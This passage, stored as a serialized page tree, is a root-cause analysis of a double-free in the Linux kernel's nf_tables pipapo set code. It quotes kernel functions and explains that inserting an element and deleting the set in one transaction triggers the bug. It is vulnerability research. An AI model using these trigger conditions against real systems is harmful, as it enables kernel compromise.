const",{"type":24,"tag":158,"props":52942,"children":52943},{"style":165},[52944],{"type":29,"value":22395},{"type":24,"tag":158,"props":52946,"children":52947},{"style":188},[52948],{"type":29,"value":52371},{"type":24,"tag":158,"props":52950,"children":52951},{"style":222},[52952],{"type":29,"value":577},{"type":24,"tag":158,"props":52954,"children":52955},{"style":177},[52956],{"type":29,"value":52291},{"type":24,"tag":158,"props":52958,"children":52959},{"style":188},[52960],{"type":29,"value":235},{"type":24,"tag":158,"props":52962,"children":52963},{"class":160,"line":238},[52964,52968,52972,52977,52981,52986],{"type":24,"tag":158,"props":52965,"children":52966},{"style":165},[52967],{"type":29,"value":52940},{"type":24,"tag":158,"props":52969,"children":52970},{"style":165},[52971],{"type":29,"value":22395},{"type":24,"tag":158,"props":52973,"children":52974},{"style":188},[52975],{"type":29,"value":52976}," nft_elem_priv ",{"type":24,"tag":158,"props":52978,"children":52979},{"style":222},[52980],{"type":29,"value":577},{"type":24,"tag":158,"props":52982,"children":52983},{"style":177},[52984],{"type":29,"value":52985},"elem_priv",{"type":24,"tag":158,"props":52987,"children":52988},{"style":188},[52989],{"type":29,"value":2125},{"type":24,"tag":158,"props":52991,"children":52992},{"class":160,"line":259},[52993],{"type":24,"tag":158,"props":52994,"children":52995},{"style":188},[52996],{"type":29,"value":1710},{"type":24,"tag":158,"props":52998,"children":52999},{"class":160,"line":280},[53000,53004,53009,53013,53018,53022,53027],{"type":24,"tag":158,"props":53001,"children":53002},{"style":165},[53003],{"type":29,"value":22395},{"type":24,"tag":158,"props":53005,"children":53006},{"style":188},[53007],{"type":29,"value":53008}," nft_set_ext ",{"type":24,"tag":158,"props":53010,"children":53011},{"style":222},[53012],{"type":29,"value":577},{"type":24,"tag":158,"props":53014,"children":53015},{"style":188},[53016],{"type":29,"value":53017},"ext ",{"type":24,"tag":158,"props":53019,"children":53020},{"style":222},[53021],{"type":29,"value":1285},{"type":24,"tag":158,"props":53023,"children":53024},{"style":496},[53025],{"type":29,"value":53026}," nft_set_elem_ext",{"type":24,"tag":158,"props":53028,"children":53029},{"style":188},[53030],{"type":29,"value":53031},"(set, elem_priv);\n",{"type":24,"tag":158,"props":53033,"children":53034},{"class":160,"line":301},[53035],{"type":24,"tag":158,"props":53036,"children":53037},{"emptyLinePlaceholder":16},[53038],{"type":29,"value":481},{"type":24,"tag":158,"props":53040,"children":53041},{"class":160,"line":626},[53042,53046,53050,53055],{"type":24,"tag":158,"props":53043,"children":53044},{"style":1914},[53045],{"type":29,"value":17024},{"type":24,"tag":158,"props":53047,"children":53048},{"style":188},[53049],{"type":29,"value":2262},{"type":24,"tag":158,"props":53051,"children":53052},{"style":496},[53053],{"type":29,"value":53054},"nft_set_ext_exists",{"type":24,"tag":158,"props":53056,"children":53057},{"style":188},[53058],{"type":29,"value":53059},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":24,"tag":158,"props":53061,"children":53062},{"class":160,"line":668},[53063,53068,53073,53078],{"type":24,"tag":158,"props":53064,"children":53065},{"style":496},[53066],{"type":29,"value":53067}," nft_set_elem_expr_destroy",{"type":24,"tag":158,"props":53069,"children":53070},{"style":188},[53071],{"type":29,"value":53072},"(ctx, ",{"type":24,"tag":158,"props":53074,"children":53075},{"style":496},[53076],{"type":29,"value":53077},"nft_set_ext_expr",{"type":24,"tag":158,"props":53079,"children":53080},{"style":188},[53081],{"type":29,"value":53082},"(ext));\n",{"type":24,"tag":158,"props":53084,"children":53085},{"class":160,"line":676},[53086],{"type":24,"tag":158,"props":53087,"children":53088},{"emptyLinePlaceholder":16},[53089],{"type":29,"value":481},{"type":24,"tag":158,"props":53091,"children":53092},{"class":160,"line":684},[53093,53098],{"type":24,"tag":158,"props":53094,"children":53095},{"style":496},[53096],{"type":29,"value":53097}," kfree",{"type":24,"tag":158,"props":53099,"children":53100},{"style":188},[53101],{"type":29,"value":53102},"(elem_priv);\n",{"type":24,"tag":158,"props":53104,"children":53105},{"class":160,"line":700},[53106],{"type":24,"tag":158,"props":53107,"children":53108},{"style":188},[53109],{"type":29,"value":307},{"type":24,"tag":25,"props":53111,"children":53112},{},[53113,53114,53120,53122,53127,53129,53134,53136,53141,53142,53147,53149,53154,53156,53161,53163,53168],{"type":29,"value":17850},{"type":24,"tag":154,"props":53115,"children":53117},{"className":53116},[],[53118],{"type":29,"value":53119},"nft_pipapo_match",{"type":29,"value":53121}," objects contain views of the ",{"type":24,"tag":154,"props":53123,"children":53125},{"className":53124},[],[53126],{"type":29,"value":52283},{"type":29,"value":53128},"'s of a ",{"type":24,"tag":154,"props":53130,"children":53132},{"className":53131},[],[53133],{"type":29,"value":52291},{"type":29,"value":53135},". The difference between the ",{"type":24,"tag":154,"props":53137,"children":53139},{"className":53138},[],[53140],{"type":29,"value":52268},{"type":29,"value":1826},{"type":24,"tag":154,"props":53143,"children":53145},{"className":53144},[],[53146],{"type":29,"value":52252},{"type":29,"value":53148}," match objects is that the clone has a view of not only already committed ",{"type":24,"tag":154,"props":53150,"children":53152},{"className":53151},[],[53153],{"type":29,"value":52283},{"type":29,"value":53155},"'s that the \"normal\" one has but also a view of the ",{"type":24,"tag":154,"props":53157,"children":53159},{"className":53158},[],[53160],{"type":29,"value":52283},{"type":29,"value":53162},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":24,"tag":154,"props":53164,"children":53166},{"className":53165},[],[53167],{"type":29,"value":52268},{"type":29,"value":347},{"type":24,"tag":395,"props":53170,"children":53172},{"id":53171},"root-cause-analysis",[53173],{"type":29,"value":53174},"Root-cause analysis",{"type":24,"tag":25,"props":53176,"children":53177},{},[53178,53180,53186,53188,53193],{"type":29,"value":53179},"So ",{"type":24,"tag":154,"props":53181,"children":53183},{"className":53182},[],[53184],{"type":29,"value":53185},"nf_tables_set_elem_destroy",{"type":29,"value":53187}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":24,"tag":154,"props":53189,"children":53191},{"className":53190},[],[53192],{"type":29,"value":52283},{"type":29,"value":53194},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":24,"tag":25,"props":53196,"children":53197},{},[53198,53200,53205,53207,53212,53214,53219,53221,53226,53228,53233],{"type":29,"value":53199},"We should now try to understand how to reach that path with the ",{"type":24,"tag":154,"props":53201,"children":53203},{"className":53202},[],[53204],{"type":29,"value":52245},{"type":29,"value":53206}," flag set, which is a member of the private data of a pipapo ",{"type":24,"tag":154,"props":53208,"children":53210},{"className":53209},[],[53211],{"type":29,"value":52283},{"type":29,"value":53213}," that becomes true whenever a change is made to the ",{"type":24,"tag":154,"props":53215,"children":53217},{"className":53216},[],[53218],{"type":29,"value":52291},{"type":29,"value":53220}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":24,"tag":154,"props":53222,"children":53224},{"className":53223},[],[53225],{"type":29,"value":52291},{"type":29,"value":53227}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":24,"tag":154,"props":53229,"children":53231},{"className":53230},[],[53232],{"type":29,"value":52291},{"type":29,"value":53234}," dirty by inserting a new element.",{"type":24,"tag":147,"props":53236,"children":53238},{"className":17751,"code":53237,"language":2907,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[53239],{"type":24,"tag":154,"props":53240,"children":53241},{"__ignoreMap":7},[53242,53312,53341,53366,53373,53380,53409,53416],{"type":24,"tag":158,"props":53243,"children":53244},{"class":160,"line":161},[53245,53249,53253,53258,53262,53266,53270,53275,53279,53284,53288,53292,53296,53300,53304,53308],{"type":24,"tag":158,"props":53246,"children":53247},{"style":165},[53248],{"type":29,"value":52316},{"type":24,"tag":158,"props":53250,"children":53251},{"style":165},[53252],{"type":29,"value":52445},{"type":24,"tag":158,"props":53254,"children":53255},{"style":496},[53256],{"type":29,"value":53257}," nft_pipapo_insert",{"type":24,"tag":158,"props":53259,"children":53260},{"style":188},[53261],{"type":29,"value":504},{"type":24,"tag":158,"props":53263,"children":53264},{"style":165},[53265],{"type":29,"value":443},{"type":24,"tag":158,"props":53267,"children":53268},{"style":165},[53269],{"type":29,"value":22395},{"type":24,"tag":158,"props":53271,"children":53272},{"style":188},[53273],{"type":29,"value":53274}," net ",{"type":24,"tag":158,"props":53276,"children":53277},{"style":222},[53278],{"type":29,"value":577},{"type":24,"tag":158,"props":53280,"children":53281},{"style":177},[53282],{"type":29,"value":53283},"net",{"type":24,"tag":158,"props":53285,"children":53286},{"style":188},[53287],{"type":29,"value":191},{"type":24,"tag":158,"props":53289,"children":53290},{"style":165},[53291],{"type":29,"value":443},{"type":24,"tag":158,"props":53293,"children":53294},{"style":165},[53295],{"type":29,"value":22395},{"type":24,"tag":158,"props":53297,"children":53298},{"style":188},[53299],{"type":29,"value":52371},{"type":24,"tag":158,"props":53301,"children":53302},{"style":222},[53303],{"type":29,"value":577},{"type":24,"tag":158,"props":53305,"children":53306},{"style":177},[53307],{"type":29,"value":52291},{"type":24,"tag":158,"props":53309,"children":53310},{"style":188},[53311],{"type":29,"value":235},{"type":24,"tag":158,"props":53313,"children":53314},{"class":160,"line":213},[53315,53319,53323,53328,53332,53337],{"type":24,"tag":158,"props":53316,"children":53317},{"style":165},[53318],{"type":29,"value":34163},{"type":24,"tag":158,"props":53320,"children":53321},{"style":165},[53322],{"type":29,"value":22395},{"type":24,"tag":158,"props":53324,"children":53325},{"style":188},[53326],{"type":29,"value":53327}," nft_set_elem ",{"type":24,"tag":158,"props":53329,"children":53330},{"style":222},[53331],{"type":29,"value":577},{"type":24,"tag":158,"props":53333,"children":53334},{"style":177},[53335],{"type":29,"value":53336},"elem",{"type":24,"tag":158,"props":53338,"children":53339},{"style":188},[53340],{"type":29,"value":235},{"type":24,"tag":158,"props":53342,"children":53343},{"class":160,"line":238},[53344,53349,53353,53358,53362],{"type":24,"tag":158,"props":53345,"children":53346},{"style":165},[53347],{"type":29,"value":53348}," struct",{"type":24,"tag":158,"props":53350,"children":53351},{"style":188},[53352],{"type":29,"value":52976},{"type":24,"tag":158,"props":53354,"children":53355},{"style":222},[53356],{"type":29,"value":53357},"**",{"type":24,"tag":158,"props":53359,"children":53360},{"style":177},[53361],{"type":29,"value":52985},{"type":24,"tag":158,"props":53363,"children":53364},{"style":188},[53365],{"type":29,"value":2125},{"type":24,"tag":158,"props":53367,"children":53368},{"class":160,"line":259},[53369],{"type":24,"tag":158,"props":53370,"children":53371},{"style":188},[53372],{"type":29,"value":1710},{"type":24,"tag":158,"props":53374,"children":53375},{"class":160,"line":280},[53376],{"type":24,"tag":158,"props":53377,"children":53378},{"style":188},[53379],{"type":29,"value":1136},{"type":24,"tag":158,"props":53381,"children":53382},{"class":160,"line":301},[53383,53388,53392,53397,53401,53405],{"type":24,"tag":158,"props":53384,"children":53385},{"style":177},[53386],{"type":29,"value":53387}," priv",{"type":24,"tag":158,"props":53389,"children":53390},{"style":188},[53391],{"type":29,"value":14991},{"type":24,"tag":158,"props":53393,"children":53394},{"style":177},[53395],{"type":29,"value":53396},"dirty",{"type":24,"tag":158,"props":53398,"children":53399},{"style":222},[53400],{"type":29,"value":462},{"type":24,"tag":158,"props":53402,"children":53403},{"style":165},[53404],{"type":29,"value":3354},{"type":24,"tag":158,"props":53406,"children":53407},{"style":188},[53408],{"type":29,"value":473},{"type":24,"tag":158,"props":53410,"children":53411},{"class":160,"line":626},[53412],{"type":24,"tag":158,"props":53413,"children":53414},{"style":188},[53415],{"type":29,"value":1136},{"type":24,"tag":158,"props":53417,"children":53418},{"class":160,"line":668},[53419],{"type":24,"tag":158,"props":53420,"children":53421},{"style":188},[53422],{"type":29,"value":307},{"type":24,"tag":25,"props":53424,"children":53425},{},[53426],{"type":29,"value":53427},"We also see that when the changes are commited, this flag is then unset.",{"type":24,"tag":147,"props":53429,"children":53431},{"className":17751,"code":53430,"language":2907,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[53432],{"type":24,"tag":154,"props":53433,"children":53434},{"__ignoreMap":7},[53435,53475,53482,53489,53520,53531,53538,53565,53572],{"type":24,"tag":158,"props":53436,"children":53437},{"class":160,"line":161},[53438,53442,53446,53451,53455,53459,53463,53467,53471],{"type":24,"tag":158,"props":53439,"children":53440},{"style":165},[53441],{"type":29,"value":52316},{"type":24,"tag":158,"props":53443,"children":53444},{"style":165},[53445],{"type":29,"value":52321},{"type":24,"tag":158,"props":53447,"children":53448},{"style":496},[53449],{"type":29,"value":53450}," nft_pipapo_commit",{"type":24,"tag":158,"props":53452,"children":53453},{"style":188},[53454],{"type":29,"value":504},{"type":24,"tag":158,"props":53456,"children":53457},{"style":165},[53458],{"type":29,"value":168},{"type":24,"tag":158,"props":53460,"children":53461},{"style":188},[53462],{"type":29,"value":52371},{"type":24,"tag":158,"props":53464,"children":53465},{"style":222},[53466],{"type":29,"value":577},{"type":24,"tag":158,"props":53468,"children":53469},{"style":177},[53470],{"type":29,"value":52291},{"type":24,"tag":158,"props":53472,"children":53473},{"style":188},[53474],{"type":29,"value":2125},{"type":24,"tag":158,"props":53476,"children":53477},{"class":160,"line":213},[53478],{"type":24,"tag":158,"props":53479,"children":53480},{"style":188},[53481],{"type":29,"value":1710},{"type":24,"tag":158,"props":53483,"children":53484},{"class":160,"line":238},[53485],{"type":24,"tag":158,"props":53486,"children":53487},{"style":188},[53488],{"type":29,"value":1136},{"type":24,"tag":158,"props":53490,"children":53491},{"class":160,"line":259},[53492,53496,53500,53504,53508,53512,53516],{"type":24,"tag":158,"props":53493,"children":53494},{"style":1914},[53495],{"type":29,"value":17024},{"type":24,"tag":158,"props":53497,"children":53498},{"style":188},[53499],{"type":29,"value":2262},{"type":24,"tag":158,"props":53501,"children":53502},{"style":222},[53503],{"type":29,"value":21865},{"type":24,"tag":158,"props":53505,"children":53506},{"style":177},[53507],{"type":29,"value":52847},{"type":24,"tag":158,"props":53509,"children":53510},{"style":188},[53511],{"type":29,"value":14991},{"type":24,"tag":158,"props":53513,"children":53514},{"style":177},[53515],{"type":29,"value":53396},{"type":24,"tag":158,"props":53517,"children":53518},{"style":188},[53519],{"type":29,"value":2125},{"type":24,"tag":158,"props":53521,"children":53522},{"class":160,"line":280},[53523,53527],{"type":24,"tag":158,"props":53524,"children":53525},{"style":1914},[53526],{"type":29,"value":40463},{"type":24,"tag":158,"props":53528,"children":53529},{"style":188},[53530],{"type":29,"value":473},{"type":24,"tag":158,"props":53532,"children":53533},{"class":160,"line":301},[53534],{"type":24,"tag":158,"props":53535,"children":53536},{"style":188},[53537],{"type":29,"value":1136},{"type":24,"tag":158,"props":53539,"children":53540},{"class":160,"line":626},[53541,53545,53549,53553,53557,53561],{"type":24,"tag":158,"props":53542,"children":53543},{"style":177},[53544],{"type":29,"value":53387},{"type":24,"tag":158,"props":53546,"children":53547},{"style":188},[53548],{"type":29,"value":14991},{"type":24,"tag":158,"props":53550,"children":53551},{"style":177},[53552],{"type":29,"value":53396},{"type":24,"tag":158,"props":53554,"children":53555},{"style":222},[53556],{"type":29,"value":462},{"type":24,"tag":158,"props":53558,"children":53559},{"style":165},[53560],{"type":29,"value":859},{"type":24,"tag":158,"props":53562,"children":53563},{"style":188},[53564],{"type":29,"value":473},{"type":24,"tag":158,"props":53566,"children":53567},{"class":160,"line":668},[53568],{"type":24,"tag":158,"props":53569,"children":53570},{"style":188},[53571],{"type":29,"value":1136},{"type":24,"tag":158,"props":53573,"children":53574},{"class":160,"line":676},[53575],{"type":24,"tag":158,"props":53576,"children":53577},{"style":188},[53578],{"type":29,"value":307},{"type":24,"tag":25,"props":53580,"children":53581},{},[53582,53584,53589,53591,53596,53598,53603,53605,53610,53612,53618,53620,53626,53628,53633],{"type":29,"value":53583},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":24,"tag":154,"props":53585,"children":53587},{"className":53586},[],[53588],{"type":29,"value":52283},{"type":29,"value":53590}," in the ",{"type":24,"tag":154,"props":53592,"children":53594},{"className":53593},[],[53595],{"type":29,"value":52291},{"type":29,"value":53597}," to make it dirty and then delete the ",{"type":24,"tag":154,"props":53599,"children":53601},{"className":53600},[],[53602],{"type":29,"value":52291},{"type":29,"value":53604},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":24,"tag":154,"props":53606,"children":53608},{"className":53607},[],[53609],{"type":29,"value":52291},{"type":29,"value":53611},"'s ",{"type":24,"tag":154,"props":53613,"children":53615},{"className":53614},[],[53616],{"type":29,"value":53617},"->commit()",{"type":29,"value":53619}," method is executed before its ",{"type":24,"tag":154,"props":53621,"children":53623},{"className":53622},[],[53624],{"type":29,"value":53625},"->destroy()",{"type":29,"value":53627}," method, then the ",{"type":24,"tag":154,"props":53629,"children":53631},{"className":53630},[],[53632],{"type":29,"value":53396},{"type":29,"value":53634}," flag will be unset, and we won't be able to trigger the double-free.",{"type":24,"tag":25,"props":53636,"children":53637},{},[53638],{"type":29,"value":53639},"Let's once again refer to the code and see how these methods are called.",{"type":24,"tag":147,"props":53641,"children":53643},{"className":17751,"code":53642,"language":2907,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[53644],{"type":24,"tag":154,"props":53645,"children":53646},{"__ignoreMap":7},[53647,53709,53716,53723,53731,53744,53779,53813,53855,53877,53889,53902,53909,53957,53998,54038,54051,54058,54065,54072,54079,54104,54111,54124,54131,54147],{"type":24,"tag":158,"props":53648,"children":53649},{"class":160,"line":161},[53650,53654,53658,53663,53667,53671,53675,53679,53683,53687,53691,53696,53700,53705],{"type":24,"tag":158,"props":53651,"children":53652},{"style":165},[53653],{"type":29,"value":52316},{"type":24,"tag":158,"props":53655,"children":53656},{"style":165},[53657],{"type":29,"value":52445},{"type":24,"tag":158,"props":53659,"children":53660},{"style":496},[53661],{"type":29,"value":53662}," nf_tables_commit",{"type":24,"tag":158,"props":53664,"children":53665},{"style":188},[53666],{"type":29,"value":504},{"type":24,"tag":158,"props":53668,"children":53669},{"style":165},[53670],{"type":29,"value":168},{"type":24,"tag":158,"props":53672,"children":53673},{"style":188},[53674],{"type":29,"value":53274},{"type":24,"tag":158,"props":53676,"children":53677},{"style":222},[53678],{"type":29,"value":577},{"type":24,"tag":158,"props":53680,"children":53681},{"style":177},[53682],{"type":29,"value":53283},{"type":24,"tag":158,"props":53684,"children":53685},{"style":188},[53686],{"type":29,"value":191},{"type":24,"tag":158,"props":53688,"children":53689},{"style":165},[53690],{"type":29,"value":168},{"type":24,"tag":158,"props":53692,"children":53693},{"style":188},[53694],{"type":29,"value":53695}," sk_buff ",{"type":24,"tag":158,"props":53697,"children":53698},{"style":222},[53699],{"type":29,"value":577},{"type":24,"tag":158,"props":53701,"children":53702},{"style":177},[53703],{"type":29,"value":53704},"skb",{"type":24,"tag":158,"props":53706,"children":53707},{"style":188},[53708],{"type":29,"value":2125},{"type":24,"tag":158,"props":53710,"children":53711},{"class":160,"line":213},[53712],{"type":24,"tag":158,"props":53713,"children":53714},{"style":188},[53715],{"type":29,"value":1710},{"type":24,"tag":158,"props":53717,"children":53718},{"class":160,"line":238},[53719],{"type":24,"tag":158,"props":53720,"children":53721},{"style":188},[53722],{"type":29,"value":1136},{"type":24,"tag":158,"props":53724,"children":53725},{"class":160,"line":259},[53726],{"type":24,"tag":158,"props":53727,"children":53728},{"style":188},[53729],{"type":29,"value":53730}," case NFT_MSG_DELSET:\n",{"type":24,"tag":158,"props":53732,"children":53733},{"class":160,"line":280},[53734,53739],{"type":24,"tag":158,"props":53735,"children":53736},{"style":188},[53737],{"type":29,"value":53738}," case NFT_MSG_DESTROYSET:",{"type":24,"tag":158,"props":53740,"children":53741},{"style":2588},[53742],{"type":29,"value":53743}," // [1]\n",{"type":24,"tag":158,"props":53745,"children":53746},{"class":160,"line":301},[53747,53752,53757,53762,53766,53770,53774],{"type":24,"tag":158,"props":53748,"children":53749},{"style":496},[53750],{"type":29,"value":53751}," nft_trans_set",{"type":24,"tag":158,"props":53753,"children":53754},{"style":188},[53755],{"type":29,"value":53756},"(trans)->",{"type":24,"tag":158,"props":53758,"children":53759},{"style":177},[53760],{"type":29,"value":53761},"dead",{"type":24,"tag":158,"props":53763,"children":53764},{"style":222},[53765],{"type":29,"value":462},{"type":24,"tag":158,"props":53767,"children":53768},{"style":465},[53769],{"type":29,"value":1668},{"type":24,"tag":158,"props":53771,"children":53772},{"style":188},[53773],{"type":29,"value":50345},{"type":24,"tag":158,"props":53775,"children":53776},{"style":2588},[53777],{"type":29,"value":53778}," // [2]\n",{"type":24,"tag":158,"props":53780,"children":53781},{"class":160,"line":626},[53782,53787,53791,53795,53800,53804,53809],{"type":24,"tag":158,"props":53783,"children":53784},{"style":496},[53785],{"type":29,"value":53786}," list_del_rcu",{"type":24,"tag":158,"props":53788,"children":53789},{"style":188},[53790],{"type":29,"value":504},{"type":24,"tag":158,"props":53792,"children":53793},{"style":222},[53794],{"type":29,"value":2212},{"type":24,"tag":158,"props":53796,"children":53797},{"style":496},[53798],{"type":29,"value":53799},"nft_trans_set",{"type":24,"tag":158,"props":53801,"children":53802},{"style":188},[53803],{"type":29,"value":53756},{"type":24,"tag":158,"props":53805,"children":53806},{"style":177},[53807],{"type":29,"value":53808},"list",{"type":24,"tag":158,"props":53810,"children":53811},{"style":188},[53812],{"type":29,"value":1071},{"type":24,"tag":158,"props":53814,"children":53815},{"class":160,"line":668},[53816,53821,53825,53829,53834,53838,53842,53846,53850],{"type":24,"tag":158,"props":53817,"children":53818},{"style":496},[53819],{"type":29,"value":53820}," nf_tables_set_notify",{"type":24,"tag":158,"props":53822,"children":53823},{"style":188},[53824],{"type":29,"value":504},{"type":24,"tag":158,"props":53826,"children":53827},{"style":222},[53828],{"type":29,"value":2212},{"type":24,"tag":158,"props":53830,"children":53831},{"style":177},[53832],{"type":29,"value":53833},"trans",{"type":24,"tag":158,"props":53835,"children":53836},{"style":188},[53837],{"type":29,"value":14991},{"type":24,"tag":158,"props":53839,"children":53840},{"style":177},[53841],{"type":29,"value":21524},{"type":24,"tag":158,"props":53843,"children":53844},{"style":188},[53845],{"type":29,"value":191},{"type":24,"tag":158,"props":53847,"children":53848},{"style":496},[53849],{"type":29,"value":53799},{"type":24,"tag":158,"props":53851,"children":53852},{"style":188},[53853],{"type":29,"value":53854},"(trans),\n",{"type":24,"tag":158,"props":53856,"children":53857},{"class":160,"line":676},[53858,53863,53867,53872],{"type":24,"tag":158,"props":53859,"children":53860},{"style":177},[53861],{"type":29,"value":53862}," trans",{"type":24,"tag":158,"props":53864,"children":53865},{"style":188},[53866],{"type":29,"value":14991},{"type":24,"tag":158,"props":53868,"children":53869},{"style":177},[53870],{"type":29,"value":53871},"msg_type",{"type":24,"tag":158,"props":53873,"children":53874},{"style":188},[53875],{"type":29,"value":53876},", GFP_KERNEL);\n",{"type":24,"tag":158,"props":53878,"children":53879},{"class":160,"line":684},[53880,53885],{"type":24,"tag":158,"props":53881,"children":53882},{"style":1914},[53883],{"type":29,"value":53884}," break",{"type":24,"tag":158,"props":53886,"children":53887},{"style":188},[53888],{"type":29,"value":473},{"type":24,"tag":158,"props":53890,"children":53891},{"class":160,"line":700},[53892,53897],{"type":24,"tag":158,"props":53893,"children":53894},{"style":188},[53895],{"type":29,"value":53896}," case NFT_MSG_NEWSETELEM:",{"type":24,"tag":158,"props":53898,"children":53899},{"style":2588},[53900],{"type":29,"value":53901}," // [3]\n",{"type":24,"tag":158,"props":53903,"children":53904},{"class":160,"line":785},[53905],{"type":24,"tag":158,"props":53906,"children":53907},{"style":188},[53908],{"type":29,"value":1136},{"type":24,"tag":158,"props":53910,"children":53911},{"class":160,"line":1447},[53912,53917,53921,53926,53930,53934,53938,53943,53947,53952],{"type":24,"tag":158,"props":53913,"children":53914},{"style":1914},[53915],{"type":29,"value":53916}," if",{"type":24,"tag":158,"props":53918,"children":53919},{"style":188},[53920],{"type":29,"value":2262},{"type":24,"tag":158,"props":53922,"children":53923},{"style":177},[53924],{"type":29,"value":53925},"te",{"type":24,"tag":158,"props":53927,"children":53928},{"style":188},[53929],{"type":29,"value":14991},{"type":24,"tag":158,"props":53931,"children":53932},{"style":177},[53933],{"type":29,"value":52291},{"type":24,"tag":158,"props":53935,"children":53936},{"style":188},[53937],{"type":29,"value":14991},{"type":24,"tag":158,"props":53939,"children":53940},{"style":177},[53941],{"type":29,"value":53942},"ops",{"type":24,"tag":158,"props":53944,"children":53945},{"style":188},[53946],{"type":29,"value":14991},{"type":24,"tag":158,"props":53948,"children":53949},{"style":177},[53950],{"type":29,"value":53951},"commit",{"type":24,"tag":158,"props":53953,"children":53954},{"style":222},[53955],{"type":29,"value":53956}," &&\n",{"type":24,"tag":158,"props":53958,"children":53959},{"class":160,"line":1509},[53960,53965,53969,53973,53977,53981,53985,53989,53994],{"type":24,"tag":158,"props":53961,"children":53962},{"style":496},[53963],{"type":29,"value":53964}," list_empty",{"type":24,"tag":158,"props":53966,"children":53967},{"style":188},[53968],{"type":29,"value":504},{"type":24,"tag":158,"props":53970,"children":53971},{"style":222},[53972],{"type":29,"value":2212},{"type":24,"tag":158,"props":53974,"children":53975},{"style":177},[53976],{"type":29,"value":53925},{"type":24,"tag":158,"props":53978,"children":53979},{"style":188},[53980],{"type":29,"value":14991},{"type":24,"tag":158,"props":53982,"children":53983},{"style":177},[53984],{"type":29,"value":52291},{"type":24,"tag":158,"props":53986,"children":53987},{"style":188},[53988],{"type":29,"value":14991},{"type":24,"tag":158,"props":53990,"children":53991},{"style":177},[53992],{"type":29,"value":53993},"pending_update",{"type":24,"tag":158,"props":53995,"children":53996},{"style":188},[53997],{"type":29,"value":36457},{"type":24,"tag":158,"props":53999,"children":54000},{"class":160,"line":1527},[54001,54006,54010,54014,54018,54022,54026,54030,54034],{"type":24,"tag":158,"props":54002,"children":54003},{"style":496},[54004],{"type":29,"value":54005}," list_add_tail",{"type":24,"tag":158,"props":54007,"children":54008},{"style":188},[54009],{"type":29,"value":504},{"type":24,"tag":158,"props":54011,"children":54012},{"style":222},[54013],{"type":29,"value":2212},{"type":24,"tag":158,"props":54015,"children":54016},{"style":177},[54017],{"type":29,"value":53925},{"type":24,"tag":158,"props":54019,"children":54020},{"style":188},[54021],{"type":29,"value":14991},{"type":24,"tag":158,"props":54023,"children":54024},{"style":177},[54025],{"type":29,"value":52291},{"type":24,"tag":158,"props":54027,"children":54028},{"style":188},[54029],{"type":29,"value":14991},{"type":24,"tag":158,"props":54031,"children":54032},{"style":177},[54033],{"type":29,"value":53993},{"type":24,"tag":158,"props":54035,"children":54036},{"style":188},[54037],{"type":29,"value":235},{"type":24,"tag":158,"props":54039,"children":54040},{"class":160,"line":1545},[54041,54046],{"type":24,"tag":158,"props":54042,"children":54043},{"style":222},[54044],{"type":29,"value":54045}," &",{"type":24,"tag":158,"props":54047,"children":54048},{"style":188},[54049],{"type":29,"value":54050},"set_update_list);\n",{"type":24,"tag":158,"props":54052,"children":54053},{"class":160,"line":1618},[54054],{"type":24,"tag":158,"props":54055,"children":54056},{"style":188},[54057],{"type":29,"value":36011},{"type":24,"tag":158,"props":54059,"children":54060},{"class":160,"line":1635},[54061],{"type":24,"tag":158,"props":54062,"children":54063},{"style":188},[54064],{"type":29,"value":1136},{"type":24,"tag":158,"props":54066,"children":54067},{"class":160,"line":1644},[54068],{"type":24,"tag":158,"props":54069,"children":54070},{"style":188},[54071],{"type":29,"value":382},{"type":24,"tag":158,"props":54073,"children":54074},{"class":160,"line":1652},[54075],{"type":24,"tag":158,"props":54076,"children":54077},{"emptyLinePlaceholder":16},[54078],{"type":29,"value":481},{"type":24,"tag":158,"props":54080,"children":54081},{"class":160,"line":1704},[54082,54087,54091,54095,54100],{"type":24,"tag":158,"props":54083,"children":54084},{"style":496},[54085],{"type":29,"value":54086}," nft_set_commit_update",{"type":24,"tag":158,"props":54088,"children":54089},{"style":188},[54090],{"type":29,"value":504},{"type":24,"tag":158,"props":54092,"children":54093},{"style":222},[54094],{"type":29,"value":2212},{"type":24,"tag":158,"props":54096,"children":54097},{"style":177},[54098],{"type":29,"value":54099},"set_update_list",{"type":24,"tag":158,"props":54101,"children":54102},{"style":188},[54103],{"type":29,"value":1071},{"type":24,"tag":158,"props":54105,"children":54106},{"class":160,"line":1713},[54107],{"type":24,"tag":158,"props":54108,"children":54109},{"style":188},[54110],{"type":29,"value":1136},{"type":24,"tag":158,"props":54112,"children":54113},{"class":160,"line":1731},[54114,54119],{"type":24,"tag":158,"props":54115,"children":54116},{"style":496},[54117],{"type":29,"value":54118}," 